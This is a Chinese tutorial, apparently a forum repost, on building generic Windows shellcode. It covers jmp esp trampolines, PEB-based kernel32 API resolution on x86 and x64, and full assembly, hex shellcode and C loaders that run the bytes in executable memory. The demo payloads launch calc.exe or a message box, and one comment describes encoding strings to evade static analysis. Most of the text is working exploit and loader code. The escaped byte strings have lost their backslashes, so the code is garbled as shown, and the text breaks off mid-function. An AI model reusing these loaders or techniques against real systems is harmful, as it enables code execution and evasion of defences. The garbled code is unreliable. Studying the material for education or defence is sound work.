通用shellcode开发原理与实践

渗透技巧 2年前 (2023) admin
320 0 0

通用shellcode开发原理与实践

本文为看雪论坛优秀文章

看雪论坛作者ID:Tray_PG


shellcode即一段植入进程的代码。





定位shellcode


在实际漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧很有可能会产生”位移“,即shellcode在内存中的地址是动态变化的。因此我们需要找到一个跳板,使得程序的执行流程总是能找到我们的shellcode。

jmp esp


在上一节中verify_password函数返回后栈中的情况如下所示:
  • 实线体现了代码植入的流程:将返回地址淹没为我们手工查出的shellcode起始地址 0x0012FAF0,函数返回时,这个地址被弹入EIP寄存器中,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令执行。

  • 虚线则点出了这样一个细节:在函数返回时候,ESP恰好只想栈帧中返回地址的后一个位置。
图一 栈帧位移示意图
通用shellcode开发原理与实践

图二 溢出发生时栈、寄存器与代码之间的关系
通用shellcode开发原理与实践

一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置,如图三。

图三 使用”跳板”的溢出利用流程
通用shellcode开发原理与实践

由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们就可以使用图三所示的这种定位shellcode的方法来进行动态定位。

  1. 用内存中的任意一个jmp esp指令的地址覆盖函数的返回地址,而不是用原来的手工查询出的shellcode起始地址直接覆盖。

  2. 函数返回地址被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode。

  3. 由于ESP在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。

  4. 重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样,jmp esp指令执行过后会恰好跳进shellcode。


这种定位shellcode的方法使用进程空间里的一条 jmp esp指令作为”跳板”,无论栈帧怎么”位移”,都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。

当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式。





开发通用shellcode


环境:

操作系统: Windows 10 x64编译器:   vs 2019

定位shellcode使用API的原理


通过手工查出来的API地址会在其他计算机上失效,在shellcode中使用静态函数地址来调用API会使exploit的额通用性收到很大的限制,所以,实际中使用的shellcode必须还要能动态地获得自身所需的API的函数地址。
Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。Win32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。
几乎所有Win32程序都会加载ntdll.dll和kernel32.dll这两个基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址,可以采取如下办法。

64位系统

  1. 首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。在GS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。

  2. 线程环境块偏移位置为0x60的地方存放着指向进程环境块PEB的指针(即GS[0x30])。

  3. 进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。

  4. PEB_LDR_DATA结构体偏移位置为0x20 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。

  5. 模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernelbase.dll,第三个节点才是kernel32.dll。

  6. 找到属于kernel32.dll的结点后,在其基础上再偏移 0x20 就是 kernel32.dll在内存中的加载基地址。

  7. 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。

  8. PE 头偏移 0x88 的地方存放着指向函数导出表的指针。

32位系统

  1. 首先通过选择字FS在内存中找到当前存放着指向当前线程环境块TEB。在FS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。

  2. 线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针(即FS[0x30])。

  3. 进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。

  4. PEB_LDR_DATA结构体偏移位置为0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。

  5. 模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。

  6. 找到属于kernel32.dll的结点后,在其基础上再偏移 0x08 就是 kernel32.dll在内存中的加载基地址。

  7. 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。

  8. PE 头偏移 0x78 的地方存放着指向函数导出表的指针。

  9. 至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址,如图四所示。

图四 在shellcode中动态定位API的原理
通用shellcode开发原理与实践

代码实现


使用汇编生成shellcode


x64 弹出计算器shellcode
/*; Get kernel32.dll base addressxor rdi, rdi            ; RDI = 0x0mul rdi                 ; RAX&RDX =0x0mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEBmov rbx, [rbx+0x18]     ; RBX = Address_of_LDRmov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dllmov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dllmov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dllmov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)mov r8, rbx             ; RBX & R8 = &kernel32.dll ; Get kernel32.dll ExportTable Addressmov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeaderadd rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeaderxor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to addadd cx, 0x88ffshr rcx, 0x8            ; RCX = 0x88ff --> 0x88mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTableadd rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable ; Get &AddressTable from Kernel32.dll ExportTablexor r10, r10mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTableadd r10, r8             ; R10 = &AddressTable ; Get &NamePointerTable from Kernel32.dll ExportTablexor r11, r11mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTableadd r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) ; Get &OrdinalTable from Kernel32.dll ExportTablexor r12, r12mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTableadd r12, r8             ; R12 = &OrdinalTable jmp short apis ; Get the address of the API from the Kernel32.dll ExportTablegetapiaddr:pop rbx                 ; save the return address for ret 2 caller after API address is foundpop rcx                 ; Get the string length counter from stackxor rax, rax            ; Setup Counter for resolving the API Address after finding the name stringmov rdx, rsp            ; RDX = Address of API Name String to match on the Stackpush rcx                ; push the string length counter to stackloop:mov rcx, [rsp]          ; reset the string length counter from the stackxor rdi,rdi             ; Clear RDI for setting up string name retrievalmov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dllmov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)repe cmpsb              ; Compare strings at RDI & RSIje resolveaddr          ; If match then we found the API string. Now we need to find the Address of the APIincloop:inc raxjmp short loop ; Find the address of GetProcAddress by using the last value of the Counterresolveaddr:pop rcx                 ; remove string length counter from top of stackmov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddresspush rbx                ; place the return address from the api string call back on the top of the stackret                     ; return to API caller apis:                   ; API Names to resolve addresses; WinExec | String length : 7xor rcx, rcxadd cl, 0x7                 ; String length for compare stringmov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExecnot rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysisshr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcollpush raxpush rcx                    ; push the string length counter to stackcall getapiaddr             ; Get the address of the API from Kernel32.dll ExportTablemov r14, rax                ; R14 = Kernel32.WinExec Address ; UINT WinExec(;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL; );xor rcx, rcxmul rcx                     ; RAX & RDX & RCX = 0x0; calc.exe | String length : 8push rax                    ; Null terminate string on stackmov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"not rax;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163push rax                    ; RSP = "calc.exe",0x0mov rcx, rsp                ; RCX = "calc.exe",0x0inc rdx                     ; RDX = 0x1 = SW_SHOWNORMALsub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)call r14                    ; Call WinExec("calc.exe", SW_HIDE)  */ #include <windows.h>void main() {  void* exec;  BOOL rv;  HANDLE th;  DWORD oldprotect = 0;  // Shellcode  unsigned char payload[] =    "x48x31xffx48xf7xe7x65x48x8bx58x60x48x8bx5bx18x48x8bx5bx20x48x8bx1bx48x8bx1bx48x8bx5bx20x49x89xd8x8b"    "x5bx3cx4cx01xc3x48x31xc9x66x81xc1xffx88x48xc1xe9x08x8bx14x0bx4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2"    "x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx32x5bx59x48x31xc0x48x89xe2x51x48x8b"    "x0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04"    "x82x4cx01xc0x53xc3x48x31xc9x80xc1x07x48xb8x0fxa8x96x91xbax87x9ax9cx48xf7xd0x48xc1xe8x08x50x51xe8xb0"    "xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x9cx9ex93x9cxd1x9ax87x9ax48xf7xd0x50x48x89xe1x48xffxc2"    "x48x83xecx20x41xffxd6";  unsigned int payload_len = 205;  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  RtlMoveMemory(exec, payload, payload_len);  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);  WaitForSingleObject(th, -1);}

x86 弹出计算器shellcode
/*start:                                       mov   ebp, esp                  ;     prologue   add   esp, 0xfffff9f0           ;     Add space int ESP to avoid clobbering   find_kernel32:                         xor   ecx, ecx                  ;     ECX = 0   mov   esi,fs:[ecx+0x30]         ;     ESI = &(PEB) ([FS:0x30])   mov   esi,[esi+0x0C]            ;     ESI = PEB->Ldr   mov   esi,[esi+0x1C]            ;     ESI = PEB->Ldr.InInitOrder  next_module:                           mov   ebx, [esi+0x08]           ;     EBX = InInitOrder[X].base_address   mov   edi, [esi+0x20]           ;     EDI = InInitOrder[X].module_name   mov   esi, [esi]                ;     ESI = InInitOrder[X].flink (next)   cmp   [edi+12*2], cx            ;    (unicode) modulename[12] == 0x00 ?   jne   next_module               ;     No: try next module  find_function_shorten:                 jmp find_function_shorten_bnc   ;     Short jump  find_function_ret:                     pop esi                         ;     POP the return address from the stack   mov   [ebp+0x04], esi           ;     Save find_function address for later usage   jmp resolve_symbols_kernel32    ;   find_function_shorten_bnc:                call find_function_ret          ;     Relative CALL with negative offset  find_function:                         pushad                          ;     Save all registers    mov   eax, [ebx+0x3c]           ;     Offset to PE Signature   mov   edi, [ebx+eax+0x78]       ;     Export Table Directory RVA   add   edi, ebx                  ;     Export Table Directory VMA   mov   ecx, [edi+0x18]           ;     NumberOfNames   mov   eax, [edi+0x20]           ;     AddressOfNames RVA   add   eax, ebx                  ;     AddressOfNames VMA   mov   [ebp-4], eax              ;     Save AddressOfNames VMA for later  find_function_loop:                    jecxz find_function_finished    ;     Jump to the end if ECX is 0   dec   ecx                       ;     Decrement our names counter   mov   eax, [ebp-4]              ;     Restore AddressOfNames VMA   mov   esi, [eax+ecx*4]          ;     Get the RVA of the symbol name   add   esi, ebx                  ;     Set ESI to the VMA of the current symbol name  compute_hash:                          xor   eax, eax                  ;     NULL EAX   cdq                             ;     NULL EDX   cld                             ;     Clear direction  compute_hash_again:                    lodsb                           ;     Load the next byte from esi into al   test  al, al                    ;     Check for NULL terminator   jz    compute_hash_finished     ;     If the ZF is set, we've hit the NULL term   ror   edx, 0x0d                 ;     Rotate edx 13 bits to the right   add   edx, eax                  ;     Add the new byte to the accumulator   jmp   compute_hash_again        ;     Next iteration  compute_hash_finished:               find_function_compare:                cmp   edx, [esp+0x24]           ;     Compare the computed hash with the requested hash   jnz   find_function_loop        ;     If it doesn't match go back to find_function_loop   mov   edx, [edi+0x24]           ;     AddressOfNameOrdinals RVA   add   edx, ebx                  ;     AddressOfNameOrdinals VMA   mov   cx,  [edx+2*ecx]          ;     Extrapolate the function's ordinal   mov   edx, [edi+0x1c]           ;     AddressOfFunctions RVA   add   edx, ebx                  ;     AddressOfFunctions VMA   mov   eax, [edx+4*ecx]          ;     Get the function RVA   add   eax, ebx                  ;     Get the function VMA   mov   [esp+0x1c], eax           ;     Overwrite stack version of eax from pushad  find_function_finished:                popad                           ;     Restore registers   ret                             ;   resolve_symbols_kernel32:           push 0xe8afe98                  ;     WinExec hash  call dword ptr [ebp+0x04]       ;     Call find_function  mov   [ebp+0x10], eax           ;     Save WinExec address for later usage  push 0x78b5b983                 ;     TerminateProcess hash  call dword ptr [ebp+0x04]       ;     Call find_function  mov   [ebp+0x14], eax           ;     Save TerminateProcess address for later usage  create_calc_string:                   xor eax, eax                   ;      EAX = null  push eax                       ;      Push null-terminated string  push dword 0x6578652e               ;           push dword 0x636c6163          ;      push esp                       ;      ESP = &(lpCmdLine)  pop  ebx                       ;      EBX save pointer to string  ; UINT WinExec( ; LPCSTR lpCmdLine, -> EBX ; UINT   uCmdShow      -> EAX ; );  call_winexec:                           xor eax, eax                   ;    EAX = null    push eax                       ;    uCmdShow    push ebx                       ;    lpCmdLine    call dword ptr [ebp+0x10]      ;    Call WinExec  ; BOOL TerminateProcess( ; HANDLE hProcess,     -> 0xffffffff ; UINT   uExitCode     -> EAX ; );  terminate_process:                      xor eax, eax                   ;    EAX = null    push eax                       ;    uExitCode    push 0xffffffff                ;    hProcess    call dword ptr [ebp+0x14]      ;    Call TerminateProcess  */ #include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h> // Our WinExec PopCalc shellcode unsigned char payload[] ="x89xe5x81xc4xf0xf9xffxffx31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx5ex08x8bx7e""x20x8bx36x66x39x4fx18x75xf2xebx06x5ex89x75x04xebx54xe8xf5xffxffxffx60x8bx43""x3cx8bx7cx03x78x01xdfx8bx4fx18x8bx47x20x01xd8x89x45xfcxe3x36x49x8bx45xfcx8b""x34x88x01xdex31xc0x99xfcxacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x24x75""xdfx8bx57x24x01xdax66x8bx0cx4ax8bx57x1cx01xdax8bx04x8ax01xd8x89x44x24x1cx61""xc3x68x98xfex8ax0exffx55x04x89x45x10x68x83xb9xb5x78xffx55x04x89x45x14x31xc0""x50x68x2ex65x78x65x68x63x61x6cx63x54x5bx31xc0x50x53xffx55x10x31xc0x50x6axff""xffx55x14";  unsigned int payload_len = 178; int main(void) {     void * exec_mem;    BOOL rv;    HANDLE th;  DWORD oldprotect = 0;     // Allocate a memory buffer for payload    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     // Copy payload to new buffer    RtlMoveMemory(exec_mem, payload, payload_len);     // Make new buffer as executable    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);     printf("nHit me!n");  printf("Shellcode Length:  %dn", strlen(payload));    getchar();     // If all good, run the payload    if ( rv != 0 ) {            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);            WaitForSingleObject(th, -1);    }     return 0;}


使用C生成shellcode

  1. 使用vs创建一个空项目,这里以vs2019 x86 平台为例。

  2. 右键项目属性。我们需要修改release版本中的一些信息。如下

  • 属性 -> C/C++ -> 代码生成 -> 安全检查->禁用安全检查 (/GS-)

  • 属性 -> 链接器 -> 清单文件-> 生成清单-> 否 (/MANIFEST:NO)

  • 属性 -> 链接器 -> 调试-> 生成调试信息-> 否


如下所示:
通用shellcode开发原理与实践
通用shellcode开发原理与实践

通用shellcode开发原理与实践

获取函数hash


通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。

注意:
这里所说的 hash 指的是 hash 算法,是一个运算过程。经过 hash 后得到的值将被称做摘要,即 digest,请注意。

这里提供一段简单的 “hash” 算法:
#include <stdio.h>#include <windows.h>DWORD GetHash(const char* fun_name){    DWORD digest = 0;    while (*fun_name)    {        digest = ((digest << 25) | (digest >> 7)); //循环右移 7 位        digest += *fun_name; //累加        fun_name++;    }    return digest;}void main(){    DWORD hash;     hash = GetHash("GetProcAddress");    printf("result of hash is 0x%.8xn", hash);}

提取shellcode


源码
#pragma code_seg("shellcode")#include <windows.h>#pragma comment(linker,"/entry:main") void main(){    //the pointer of kernel32.dll base address    DWORD dwKernel32Addr = 0;    _asm {        push eax        mov eax, dword ptr fs:[0x30]        mov eax, [eax + 0x0C]        mov eax,[eax + 0x1C]        mov eax, [eax]        mov eax, [eax + 0x08]        mov dwKernel32Addr, eax        pop eax    }     PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernel32Addr;    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(dwKernel32Addr + pDosHeader->e_lfanew);     PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;     PIMAGE_EXPORT_DIRECTORY pExportFuncTable = (PIMAGE_EXPORT_DIRECTORY)(dwKernel32Addr + pDataDirectory->VirtualAddress);     PDWORD pAddrOfFunc = (PDWORD)(pExportFuncTable->AddressOfFunctions + dwKernel32Addr);     PDWORD pAddrOfFuncNames = (PDWORD)(pExportFuncTable->AddressOfNames + dwKernel32Addr);     PWORD  pAddrOfOrdinals = (PWORD)(pExportFuncTable->AddressOfNameOrdinals + dwKernel32Addr);     DWORD dwFuncGetProcAddress = 0;    for (size_t i = 0; i < pExportFuncTable->NumberOfNames; i++)    {        PCHAR lpFuncName = (PCHAR)(pAddrOfFuncNames[i] + dwKernel32Addr);        DWORD digest = 0;        while (*lpFuncName)        {            digest = ((digest << 25) | (digest >> 7));            digest += *lpFuncName;            lpFuncName++;        }        if (digest == 0xbbafdf85)//0xbbafdf85是经过自定义hash算法得到GetProcAddress函数的摘要        {            dwFuncGetProcAddress = pAddrOfFunc[pAddrOfOrdinals[i]] + dwKernel32Addr;            break;        }    }    /*    如果是弹窗弹窗,这里我们需要 : LoadLibraryExA、MessageBoxA、ExitProcess、user32.dll    */     /*    定义函数指针GetProcAddress    */    typedef    FARPROC (WINAPI *funcGetProcAddress)(                HMODULE hModule,                LPCSTR lpProcName            );     funcGetProcAddress pfuncGetProcAddress = (funcGetProcAddress)dwFuncGetProcAddress;     /*    LoadLibraryExA 函数指针获取    */    typedef HMODULE (WINAPI *funcLoadLibraryExA)(             LPCSTR lpLibFileName,             HANDLE hFile,             DWORD dwFlags        );     //如果采用字符串模式,其字符串会被放入数据段,使用的每次加载地址都不一样,    char szLoadLibraryExA[] = { 'L','o','a','d','L','i','b','r','a','r','y','E','x','A','' };    char szUser32[] = { 'u','s','e','r','3','2','.','d','l','l','' };    char szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','' };    char szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s','' };     funcLoadLibraryExA pfuncLoadLibraryExA = (funcLoadLibraryExA)(pfuncGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA));     /*    ExitProcess函数指针    */    typedef    VOID    (WINAPI *funcExitProcess)(            _In_ UINT uExitCode            );     funcExitProcess pfuncExitProcess = (funcExitProcess)(pfuncGetProcAddress((HMODULE)dwKernel32Addr, szExitProcess));     /*    * 加载user32.dll 和messagebox    */     typedef int    (WINAPI    *funcMessageBoxA)(        _In_opt_ HWND hWnd,        _In_opt_ LPCSTR lpText,        _In_opt_ LPCSTR lpCaption,        _In_ UINT uType);     funcMessageBoxA pfuncMessageBoxA = (funcMessageBoxA)(pfuncGetProcAddress((HMODULE)(pfuncLoadLibraryExA(szUser32, NULL, NULL)), szMessageBoxA));     char szContext[] = {'t','h','i','s',' ','i','s',' ','a',' ','t','e','s','t','' };    char szTitle[] = { 't','e','s','t','' };     pfuncMessageBoxA(NULL, szContext, szTitle, MB_OK);    pfuncExitProcess(0);}

编译成功之后,程序正常运行:
通用shellcode开发原理与实践

将程序拖入OD,按F9进入程序模块,如图所示:
通用shellcode开发原理与实践

然后从第一行开始,下拉到空白区选中 右键 复制 二进制复制。然后再在010editor中粘贴自 从十六进制文本粘贴。

如下图:
通用shellcode开发原理与实践

选中然后复制为c代码:

通用shellcode开发原理与实践

这样就得到了我们的shellcode
unsigned char hexData[351] = {    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,    0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,    0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,    0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,    0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,    0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,    0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,    0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,    0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,    0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,    0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,    0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,    0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,    0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,    0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,    0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,    0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,    0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,    0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,    0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,    0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,    0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,    0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,    0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,    0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,    0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,    0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,    0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,    0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,    0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,    0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,    0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,    0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,    0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,    0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,    0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,    0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,    0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,    0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,    0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,    0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,    0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,    0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,    0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3};

在程序中运行我们的shellcode
#include <windows.h>unsigned char hexData[351] = {    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56,    0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,    0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B,    0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B,    0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D,    0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44,    0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B,    0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03,    0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03,    0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85,    0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0,    0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74,    0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F,    0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9,    0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74,    0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D,    0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D,    0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83,    0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45,    0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64,    0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62,    0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45,    0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45,    0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65,    0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64,    0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45,    0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73,    0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42,    0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7,    0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45,    0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8,    0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0,    0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF,    0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A,    0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF,    0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D,    0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73,    0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20,    0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45,    0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45,    0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,    0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,    0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,    0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3}; void main(){    void* exec;    BOOL rv;    